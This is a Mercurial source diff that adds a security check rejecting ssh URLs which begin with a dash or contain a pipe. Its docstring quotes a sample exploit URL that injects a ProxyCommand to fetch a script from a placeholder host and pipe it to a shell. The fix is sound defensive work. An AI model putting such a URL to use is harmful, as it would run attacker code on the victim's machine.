mercurial/util.py
branchstable
changeset 33650 0b3fe3910ef5
parent 33626 524b13fc711f
child 33657 60ee7af2a2ba
--- a/mercurial/util.py	Wed Jul 26 22:10:15 2017 +0900
+++ b/mercurial/util.py	Fri Jul 28 16:32:25 2017 -0700
@@ -2894,6 +2894,21 @@
 def urllocalpath(path):
     return url(path, parsequery=False, parsefragment=False).localpath()
 
+def checksafessh(path):
+    """check if a path / url is a potentially unsafe ssh exploit (SEC)
+
+    This is a sanity check for ssh urls. ssh will parse the first item as
+    an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
+    Let's prevent these potentially exploited urls entirely and warn the
+    user.
+
+    Raises an error.Abort when the url is unsafe.
+    """
+    path = urlreq.unquote(path)
+    if path.startswith('ssh://-') or '|' in path:
+        raise error.Abort(_('potentially unsafe url: %r') %
+                          (path,))
+
 def hidepassword(u):
     '''hide user credential in a url string'''
     u = url(u)